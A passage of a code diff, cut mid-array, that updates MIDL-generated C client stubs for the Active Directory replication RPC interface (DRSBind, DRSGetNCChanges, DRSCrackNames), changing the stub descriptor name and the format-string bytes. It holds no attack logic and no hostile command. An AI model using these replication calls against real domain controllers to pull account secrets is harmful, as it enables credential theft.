NdrClientCall2((PMIDL_STUB_DESC) &drsuapi_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_ProcFormatString.Format[0], rpc_handle, puuidClientDsa, pextClient, ppextServer, phDrs).Simple; + return (ULONG) NdrClientCall2((PMIDL_STUB_DESC) &drsuapi_c_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_ProcFormatString.Format[0], rpc_handle, puuidClientDsa, pextClient, ppextServer, phDrs).Simple; } ULONG IDL_DRSUnbind(DRS_HANDLE *phDrs) { - return (ULONG) NdrClientCall2((PMIDL_STUB_DESC) &drsuapi_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_ProcFormatString.Format[60], phDrs).Simple; + return (ULONG) NdrClientCall2((PMIDL_STUB_DESC) &drsuapi_c_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_ProcFormatString.Format[60], phDrs).Simple; } ULONG IDL_DRSGetNCChanges(DRS_HANDLE hDrs, DWORD dwInVersion, DRS_MSG_GETCHGREQ *pmsgIn, DWORD *pdwOutVersion, DRS_MSG_GETCHGREPLY *pmsgOut) { - return (ULONG) NdrClientCall2((PMIDL_STUB_DESC)&drsuapi_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_ProcFormatString.Format[104], hDrs, dwInVersion, pmsgIn, pdwOutVersion, pmsgOut).Simple; + return (ULONG) NdrClientCall2((PMIDL_STUB_DESC) &drsuapi_c_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_ProcFormatString.Format[134], hDrs, dwInVersion, pmsgIn, pdwOutVersion, pmsgOut).Simple; } ULONG IDL_DRSCrackNames(DRS_HANDLE hDrs, DWORD dwInVersion, DRS_MSG_CRACKREQ *pmsgIn, DWORD *pdwOutVersion, DRS_MSG_CRACKREPLY *pmsgOut) { - return (ULONG) NdrClientCall2((PMIDL_STUB_DESC) &drsuapi_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_ProcFormatString.Format[172], hDrs, dwInVersion, pmsgIn, pdwOutVersion, pmsgOut).Simple; + return (ULONG) NdrClientCall2((PMIDL_STUB_DESC) &drsuapi_c_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_ProcFormatString.Format[468], hDrs, dwInVersion, pmsgIn, pdwOutVersion, pmsgOut).Simple; } ULONG IDL_DRSDomainControllerInfo(DRS_HANDLE hDrs, DWORD dwInVersion, DRS_MSG_DCINFOREQ *pmsgIn, DWORD *pdwOutVersion, DRS_MSG_DCINFOREPLY *pmsgOut) { - return (ULONG) NdrClientCall2((PMIDL_STUB_DESC) &drsuapi_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_ProcFormatString.Format[240], hDrs, dwInVersion, pmsgIn, pdwOutVersion, pmsgOut).Simple; + return (ULONG) NdrClientCall2((PMIDL_STUB_DESC) &drsuapi_c_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_ProcFormatString.Format[626], hDrs, dwInVersion, pmsgIn, pdwOutVersion, pmsgOut).Simple; } void DRS_MSG_GETCHGREPLY_V6_Free(handle_t _MidlEsHandle, DRS_MSG_GETCHGREPLY_V6 * _pType) { - NdrMesTypeFree2(_MidlEsHandle, (PMIDL_TYPE_PICKLING_INFO) &__MIDL_TypePicklingInfo, &drsuapi_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_TypeFormatString.Format[560], _pType); + NdrMesTypeFree2(_MidlEsHandle, (PMIDL_TYPE_PICKLING_INFO) &__MIDL_TypePicklingInfo, &drsuapi_c_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_TypeFormatString.Format[560], _pType); } void DRS_MSG_CRACKREPLY_V1_Free(handle_t _MidlEsHandle, DRS_MSG_CRACKREPLY_V1 * _pType) { - NdrMesTypeFree2(_MidlEsHandle, (PMIDL_TYPE_PICKLING_INFO ) &__MIDL_TypePicklingInfo, &drsuapi_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_TypeFormatString.Format[682], _pType); + NdrMesTypeFree2(_MidlEsHandle, (PMIDL_TYPE_PICKLING_INFO ) &__MIDL_TypePicklingInfo, &drsuapi_c_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_TypeFormatString.Format[682], _pType); } void DRS_MSG_DCINFOREPLY_V2_Free(handle_t _MidlEsHandle, DRS_MSG_DCINFOREPLY_V2 * _pType) { - NdrMesTypeFree2(_MidlEsHandle, (PMIDL_TYPE_PICKLING_INFO )&__MIDL_TypePicklingInfo, &drsuapi_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_TypeFormatString.Format[792], _pType); + NdrMesTypeFree2(_MidlEsHandle, (PMIDL_TYPE_PICKLING_INFO )&__MIDL_TypePicklingInfo, &drsuapi_c_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_TypeFormatString.Format[792], _pType); } static const ms2Ddrsr_MIDL_PROC_FORMAT_STRING ms2Ddrsr__MIDL_ProcFormatString = {0, { 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x32, 0x00, 0x00, 0x00, 0x44, 0x00, 0x40, 0x00, 0x47, 0x05, 0x0a, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x08, 0x00, 0x2c, 0x03, 0x0b, 0x00, 0x10, 0x00, 0x30, 0x03, 0x13, 0x20, 0x18, 0x00, 0x58, 0x03, 0x10, 0x01, 0x20, 0x00, 0x60, 0x03, 0x70, 0x00, 0x28, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x10, 0x00, 0x30, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x40, 0x00, 0x44, 0x02, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x00, 0x00, - 0x68, 0x03, 0x70, 0x00, 0x08, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x30, 0x00, 0x30, 0x40, 0x00, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x24, 0x00, 0x47, 0x06, 0x0a, 0x07, - 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x6c, 0x03, 0x48, 0x00, 0x08, 0x00, 0x08, 0x00, 0x0b, 0x01, 0x10, 0x00, 0x74, 0x03, 0x50, 0x21, 0x18, 0x00, 0x08, 0x00, - 0x13, 0x01, 0x20, 0x00, 0x1e, 0x05, 0x70, 0x00, 0x28, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x30, 0x00, 0x30, 0x40, 0x00, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x24, 0x00, - 0x47, 0x06, 0x0a, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x6c, 0x03, 0x48, 0x00, 0x08, 0x00, 0x08, 0x00, 0x0b, 0x01, 0x10, 0x00, 0x44, 0x06, 0x50, 0x21, - 0x18, 0x00, 0x08, 0x00, 0x13, 0x21, 0x20, 0x00, 0x96, 0x06, 0x70, 0x00, 0x28, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x30, 0x00, 0x30, 0x40, 0x00, 0x00, 0x00, 0x00, - 0x2c, 0x00, 0x24, 0x00, 0x47, 0x06, 0x0a, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x6c, 0x03, 0x48, 0x00, 0x08, 0x00, 0x08, 0x00, 0x0b, 0x01, 0x10, 0x00, - 0xb0, 0x06, 0x50, 0x21, 0x18, 0x00, 0x08, 0x00, 0x13, 0x41, 0x20, 0x00, 0xda, 0x06, 0x70, 0x00, 0x28, 0x00, 0x08, 0x00, 0x00, + 0x68, 0x03, 0x70, 0x00, 0x08, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x08, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x0a, 0x01, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x30, 0x00, 0x30, 0x40, 0x00, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x24, 0x00, 0x47, 0x06, 0x0a, 0x07, 0x01, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x6c, 0x03, 0x48, 0x00, 0x08, 0x00, 0x08, 0x00, 0x0b, 0x01, 0x10, 0x00, 0x74, 0x03, 0x50, 0x21, 0x18, 0x00, 0x08, 0x00, 0x13, 0x01, + 0x20, 0x00, 0x28, 0x04, 0x70, 0x00, 0x28, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x20, 0x00, 0x30, 0x40, 0x00, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x08, 0x00, 0x46, 0x04, + 0x0a, 0x05, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x6c, 0x03, 0x48, 0x00, 0x08, 0x00, 0x08, 0x00, 0x0b, 0x01, 0x10, 0x00, 0x42, 0x04, 0x70, 0x00, 0x18, 0x00, + 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x08, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x08, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, + 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x08, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, + 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, + 0x09, 0x00, 0x08, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00, + 0x08, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x08, 0x00, + 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x30, 0x00, 0x30, 0x40, + 0x00, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x24, 0x00, 0x47, 0x06, 0x0a, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x6c, 0x03, 0x48, 0x00, 0x08, 0x00, 0x08, 0x00, + 0x0b, 0x01, 0x10, 0x00, 0x76, 0x04, 0x50, 0x21, 0x18, 0x00, 0x08, 0x00, 0x13, 0x21, 0x20, 0x00, 0xc8, 0x04, 0x70, 0x00, 0x28, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x0d, 0x00, + 0x08, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x08, 0x00, + 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x08, 0x00, 0x32, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x30, 0x00, 0x30, 0x40, 0x00, 0x00, + 0x00, 0x00, 0x2c, 0x00, 0x24, 0x00, 0x47, 0x06, 0x0a, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x6c, 0x03, 0x48, 0x00, 0x08, 0x00, 0x08, 0x00, 0x0b, 0x01, + 0x10, 0x00, 0xe2, 0x04, 0x50, 0x21, 0x18, 0x00, 0x08, 0x00, 0x13, 0x41, 0x20, 0x00, 0x0c, 0x05, 0x70, 0x00, 0x28, 0x00, 0x08, 0x00, 0x00 }}; static const ms2Ddrsr_MIDL_TYPE_FORMAT_STRING ms2Ddrsr__MIDL_TypeFormatString = {0, { 0x00, 0x00, 0x1d, 0x00, 0x08, 0x00, 0x01, 0x5b, 0x15, 0x03, 0x10, 0x00, 0x08, 0x06, 0x06, 0x4c, 0x00, 0xf1, 0xff, 0x5b, 0x15, 0x07, 0x18, 0x00, 0x0b, 0x0b, 0x0b, 0x5b, 0xb7, 0x08, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, 0x10, 0x27, 0x00, 0x00, 0x1b, 0x00, 0x01, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0x02, 0x5b, 0x1a, 0x03, 0x10, 0x00, - 0x00, 0x00, 0x0a, 0x00, 0x4c, 0x00, 0xe0, 0xff, 0x40, 0x36, 0x5c, 0x5b, 0x12, 0x00, 0xe2, 0xff, 0x1a, 0x03, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x40, 0x4c, 0x00, 0xe0, 0xff, 0x5c, 0x5b, - 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xde, 0xff, 0x5c, 0x5b, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x4c, 0x00, - 0x9c, 0xff, 0x40, 0x36, 0x5c, 0x5b, 0x12, 0x00, 0xd8, 0xff, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x1d, 0x00, 0x1c, 0x00, 0x02, 0x5b, 0x15, 0x00, 0x1c, 0x00, 0x4c, 0x00, - 0xf4, 0xff, 0x5c, 0x5b, 0x1b, 0x01, 0x02, 0x00, 0x09, 0x57, 0xfc, 0xff, 0x01, 0x00, 0x05, 0x5b, 0x17, 0x03, 0x38, 0x00, 0xf0, 0xff, 0x08, 0x08, 0x4c, 0x00, 0x4e, 0xff, 0x4c, 0x00, 0xdc, 0xff, - 0x08, 0x5b, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x15, 0x07, 0x20, 0x00, 0x4c, 0x00, 0x36, 0xff, 0x0b, 0x0b, 0x5c, 0x5b, 0x1b, 0x07, 0x20, 0x00, 0x09, 0x00, 0xf8, 0xff, - 0x01, 0x00, 0x4c, 0x00, 0xe8, 0xff, 0x5c, 0x5b, 0x1a, 0x07, 0x10, 0x00, 0xec, 0xff, 0x00, 0x00, 0x08, 0x08, 0x4c, 0x00, 0xce, 0xff, 0x08, 0x5b, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x10, 0x00, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x01, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x4c, 0x00, - 0xec, 0xff, 0x40, 0x36, 0x5c, 0x5b, 0x12, 0x00, 0x08, 0xff, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xda, 0xff, 0x5c, 0x5b, - 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x4c, 0x00, 0xb8, 0xff, 0x40, 0x36, 0x5c, 0x5b, 0x12, 0x00, 0xd8, 0xff, 0x1a, 0x03, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x40, 0x4c, 0x00, - 0xe0, 0xff, 0x5c, 0x5b, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xde, 0xff, 0x5c, 0x5b, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, - 0x0a, 0x00, 0x4c, 0x00, 0x74, 0xff, 0x40, 0x36, 0x5c, 0x5b, 0x12, 0x00, 0xd8, 0xff, 0x1a, 0x03, 0x20, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x36, 0x08, 0x40, 0x4c, 0x00, 0xdf, 0xff, 0x5b, 0x12, 0x00, - 0x10, 0xff, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x15, 0x07, 0x28, 0x00, 0x08, 0x40, 0x0b, 0x4c, 0x00, 0x53, 0xfe, 0x0b, 0x5c, 0x5b, 0x1b, 0x07, 0x28, 0x00, 0x09, 0x00, - 0xf8, 0xff, 0x01, 0x00, 0x4c, 0x00, 0xe6, 0xff, 0x5c, 0x5b, 0x1a, 0x07, 0x08, 0x00, 0xec, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xce, 0xff, 0x40, 0x5b, 0x1a, 0x03, 0x40, 0x00, 0x00, 0x00, 0x0c, 0x00, - 0x36, 0x4c, 0x00, 0xab, 0xff, 0x08, 0x40, 0x36, 0x36, 0x5b, 0x12, 0x00, 0xec, 0xff, 0x12, 0x00, 0x18, 0xfe, 0x12, 0x00, 0xd6, 0xff, 0x15, 0x07, 0x30, 0x00, 0x0b, 0x4c, 0x00, 0xaf, 0xff, 0x5b, - 0x1a, 0x07, 0x58, 0x00, 0x00, 0x00, 0x10, 0x00, 0x36, 0x08, 0x40, 0x4c, 0x00, 0x09, 0xff, 0x08, 0x40, 0x4c, 0x00, 0xe3, 0xff, 0x5b, 0x12, 0x00, 0x98, 0xfe, 0x21, 0x07, 0x00, 0x00, 0x19, 0x00, - 0x94, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xd4, 0xff, 0x5c, 0x5b, 0x1a, 0x07, 0xa8, 0x00, 0x00, 0x00, 0x28, 0x00, 0x4c, 0x00, 0xce, 0xfd, 0x4c, 0x00, 0xca, 0xfd, - 0x36, 0x4c, 0x00, 0xd1, 0xfd, 0x4c, 0x00, 0xcd, 0xfd, 0x36, 0x4c, 0x00, 0x2a, 0xfe, 0x08, 0x08, 0x08, 0x40, 0x36, 0x08, 0x08, 0x08, 0x4c, 0x00, 0x32, 0xfe, 0x36, 0x08, 0x40, 0x5b, 0x12, 0x00, - 0x50, 0xfe, 0x12, 0x00, 0x84, 0xfe, 0x12, 0x00, 0x70, 0xff, 0x12, 0x00, 0xae, 0xff, 0x1a, 0x03, 0x18, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x40, 0x36, 0x36, 0x5c, 0x5b, 0x12, 0x08, 0x25, 0x5c, - 0x12, 0x08, 0x25, 0x5c, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xd8, 0xff, 0x5c, 0x5b, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, - 0x06, 0x00, 0x08, 0x40, 0x36, 0x5b, 0x12, 0x00, 0xdc, 0xff, 0x1a, 0x03, 0x08, 0x00, 0x00, 0x00, 0x04, 0x00, 0x36, 0x5b, 0x12, 0x00, 0xe4, 0xff, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, 0x10, 0x27, - 0x00, 0x00, 0x1a, 0x03, 0x88, 0x00, 0x00, 0x00, 0x1e, 0x00, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x08, 0x08, 0x08, 0x4c, 0x00, 0x32, 0xfd, 0x4c, 0x00, 0x2e, 0xfd, 0x4c, 0x00, 0x2a, 0xfd, - 0x4c, 0x00, 0x26, 0xfd, 0x40, 0x5b, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x08, - 0x25, 0x5c, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xae, 0xff, 0x5c, 0x5b, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x0a, 0x00, - 0x4c, 0x00, 0x96, 0xff, 0x40, 0x36, 0x5c, 0x5b, 0x12, 0x00, 0xd8, 0xff, 0x12, 0x00, 0xda, 0xfc, 0x12, 0x00, 0x18, 0x00, 0xb7, 0x08, 0x01, 0x00, 0x00, 0x00, 0x10, 0x27, 0x00, 0x00, 0x1b, 0x00, - 0x01, 0x00, 0x09, 0x00, 0xfc, 0xff, 0x01, 0x00, 0x02, 0x5b, 0x1a, 0x03, 0x04, 0x00, 0xf0, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xe0, 0xff, 0x5c, 0x5b, 0x11, 0x14, 0xd6, 0xff, 0x11, 0x04, 0x02, 0x00, - 0x30, 0xa0, 0x00, 0x00, 0x11, 0x04, 0x02, 0x00, 0x30, 0xe1, 0x00, 0x00, 0x30, 0x41, 0x00, 0x00, 0x11, 0x00, 0x02, 0x00, 0x2b, 0x09, 0x29, 0x00, 0x08, 0x00, 0x01, 0x00, 0x02, 0x00, 0xa8, 0x00, - 0x05, 0x00, 0x04, 0x00, 0x00, 0x00, 0xba, 0x00, 0x05, 0x00, 0x00, 0x00, 0xd0, 0x00, 0x07, 0x00, 0x00, 0x00, 0xf2, 0x00, 0x08, 0x00, 0x00, 0x00, 0x10, 0x01, 0x0a, 0x00, 0x00, 0x00, 0x40, 0x01, - 0xff, 0xff, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x15, 0x07, 0x18, 0x00, 0x4c, 0x00, 0x56, 0xfc, 0x0b, 0x5b, 0x1b, 0x07, 0x18, 0x00, 0x09, 0x00, 0xf8, 0xff, 0x01, 0x00, - 0x4c, 0x00, 0xea, 0xff, 0x5c, 0x5b, 0x1a, 0x07, 0x10, 0x00, 0xec, 0xff, 0x00, 0x00, 0x08, 0x08, 0x4c, 0x00, 0xd0, 0xff, 0x08, 0x5b, 0xb7, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, - 0x1b, 0x03, 0x04, 0x00, 0x09, 0x00, 0xfc, 0xff, 0x01, 0x00, 0x08, 0x5b, 0x1a, 0x03, 0x0c, 0x00, 0xf0, 0xff, 0x00, 0x00, 0x08, 0x08, 0x4c, 0x00, 0xde, 0xff, 0x5c, 0x5b, 0x1a, 0x07, 0x70, 0x00, - 0x00, 0x00, 0x1a, 0x00, 0x4c, 0x00, 0x02, 0xfc, 0x4c, 0x00, 0xfe, 0xfb, 0x36, 0x4c, 0x00, 0x05, 0xfc, 0x36, 0x36, 0x4c, 0x00, 0x61, 0xfc, 0x08, 0x08, 0x08, 0x08, 0x5b, 0x11, 0x00, 0x92, 0xfc, - 0x12, 0x00, 0xa4, 0xff, 0x12, 0x00, 0xc6, 0xff, 0xb7, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x1a, 0x03, 0x04, 0x00, 0x08, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xec, 0xff, 0x5c, 0x5b, - 0x1a, 0x07, 0x88, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x4c, 0x00, 0xbe, 0xfb, 0x36, 0x4c, 0x00, 0xad, 0xff, 0x5b, 0x11, 0x00, 0xde, 0xff, 0x15, 0x07, 0x08, 0x00, 0x0b, 0x5b, 0x1a, 0x07, 0x60, 0x00, - 0x00, 0x00, 0x1a, 0x00, 0x4c, 0x00, 0xa2, 0xfb, 0x4c, 0x00, 0x9e, 0xfb, 0x36, 0x4c, 0x00, 0xa5, 0xfb, 0x36, 0x08, 0x08, 0x08, 0x08, 0x4c, 0x00, 0xde, 0xff, 0x5c, 0x5b, 0x11, 0x00, 0x32, 0xfc, - 0x12, 0x00, 0x44, 0xff, 0x1a, 0x07, 0xa8, 0x00, 0x00, 0x00, 0x12, 0x00, 0x4c, 0x00, 0x7a, 0xfb, 0x36, 0x4c, 0x00, 0x69, 0xff, 0x36, 0x36, 0x4c, 0x00, 0xdd, 0xfb, 0x5b, 0x11, 0x00, 0x94, 0xff, - 0x12, 0x00, 0x4a, 0xff, 0x12, 0x00, 0x46, 0xff, 0x1a, 0x07, 0x80, 0x00, 0x00, 0x00, 0x20, 0x00, 0x4c, 0x00, 0x56, 0xfb, 0x4c, 0x00, 0x52, 0xfb, 0x36, 0x4c, 0x00, 0x59, 0xfb, 0x36, 0x08, 0x08, - 0x08, 0x08, 0x4c, 0x00, 0x92, 0xff, 0x36, 0x36, 0x4c, 0x00, 0xac, 0xfb, 0x5c, 0x5b, 0x11, 0x00, 0xe0, 0xfb, 0x12, 0x00, 0xf2, 0xfe, 0x12, 0x00, 0x14, 0xff, 0x12, 0x00, 0x10, 0xff, 0x1a, 0x07, - 0x88, 0x00, 0x00, 0x00, 0x22, 0x00, 0x4c, 0x00, 0x20, 0xfb, 0x4c, 0x00, 0x1c, 0xfb, 0x36, 0x4c, 0x00, 0x23, 0xfb, 0x36, 0x08, 0x08, 0x08, 0x08, 0x4c, 0x00, 0x5c, 0xff, 0x36, 0x36, 0x4c, 0x00, - 0x76, 0xfb, 0x08, 0x40, 0x5c, 0x5b, 0x11, 0x00, 0xa8, 0xfb, 0x12, 0x00, 0xba, 0xfe, 0x12, 0x00, 0xdc, 0xfe, 0x12, 0x00, 0xd8, 0xfe, 0x11, 0x0c, 0x08, 0x5c, 0x11, 0x00, 0x02, 0x00, 0x2b, 0x09, - 0x29, 0x54, 0x18, 0x00, 0x01, 0x00, 0x02, 0x00, 0xa8, 0x00, 0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0x1c, 0x00, 0x02, 0x00, 0x00, 0x00, 0x64, 0x00, 0x06, 0x00, 0x00, 0x00, 0xf4, 0xfc, 0x07, 0x00, - 0x00, 0x00, 0x66, 0x00, 0x09, 0x00, 0x00, 0x00, 0xba, 0x00, 0xff, 0xff, 0x1a, 0x07, 0x90, 0x00, 0x00, 0x00, 0x20, 0x00, 0x4c, 0x00, 0xb2, 0xfa, 0x4c, 0x00, 0xae, 0xfa, 0x36, 0x4c, 0x00, 0xb5, - 0xfa, 0x4c, 0x00, 0xb1, 0xfa, 0x36, 0x4c, 0x00, 0x0e, 0xfb, 0x08, 0x08, 0x08, 0x40, 0x36, 0x08, 0x40, 0x5b, 0x12, 0x00, 0x3c, 0xfb, 0x12, 0x00, 0x4e, 0xfe, 0x12, 0x00, 0x5c, 0xfc, 0x1b, 0x00, - 0x01, 0x00, 0x19, 0x00, 0x04, 0x00, 0x01, 0x00, 0x02, 0x5b, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x06, 0x00, 0x08, 0x08, 0x36, 0x5b, 0x12, 0x00, 0xe6, 0xff, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x4c, 0x00, 0xe6, 0xff, 0x5c, 0x5b, 0x1a, 0x03, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x0d, 0x4c, 0x00, 0xd6, 0xff, 0x5c, 0x5b, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 